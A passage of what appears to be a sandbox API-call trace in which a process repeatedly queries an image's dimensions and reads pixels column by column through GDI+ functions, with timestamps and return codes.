(image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=28, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=29, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=30, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=31, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=32, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=33, color=0x19eed4) returned 0x0 [0158.990] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.990] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.990] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=34, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=35, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=36, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=37, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=38, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=39, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.991] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=40, color=0x19eed4) returned 0x0 [0158.991] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.991] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=41, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=42, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=43, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=44, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=45, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=46, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.992] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.992] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=47, color=0x19eed4) returned 0x0 [0158.992] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=48, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=49, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=50, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=51, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=52, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=53, color=0x19eed4) returned 0x0 [0158.993] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.993] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.993] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=54, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=55, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=56, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=57, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=58, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=59, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.994] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=60, color=0x19eed4) returned 0x0 [0158.994] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.994] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=61, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=62, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=63, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=64, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=65, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=66, color=0x19eed4) returned 0x0 [0158.995] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.995] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.995] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=67, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=68, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=69, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=70, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=71, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=72, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=73, color=0x19eed4) returned 0x0 [0158.996] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.996] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.996] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=74, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=75, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=76, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=77, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=78, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=79, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.997] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.997] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=80, color=0x19eed4) returned 0x0 [0158.997] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=81, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=82, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=83, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=84, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=85, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.998] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=86, color=0x19eed4) returned 0x0 [0158.998] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.998] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=87, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.999] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=88, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.999] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=89, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.999] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=90, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.999] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=91, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.999] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.999] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=92, color=0x19eed4) returned 0x0 [0158.999] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=93, color=0x19eed4) returned 0x0 [0159.000] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=94, color=0x19eed4) returned 0x0 [0159.000] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=95, color=0x19eed4) returned 0x0 [0159.000] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=96, color=0x19eed4) returned 0x0 [0159.000] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=97, color=0x19eed4) returned 0x0 [0159.000] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.000] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.000] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=98, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=99, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=100, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=101, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=102, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=103, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.001] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.001] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=104, color=0x19eed4) returned 0x0 [0159.001] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=105, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=106, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=107, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=108, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=109, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=110, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.002] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=111, color=0x19eed4) returned 0x0 [0159.002] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.002] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=112, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=113, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=114, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=115, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=116, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=117, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=118, color=0x19eed4) returned 0x0 [0159.003] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.003] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.003] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=119, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=120, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=121, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=122, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=123, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=124, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.004] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.004] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=125, color=0x19eed4) returned 0x0 [0159.004] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=126, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=127, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=128, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight 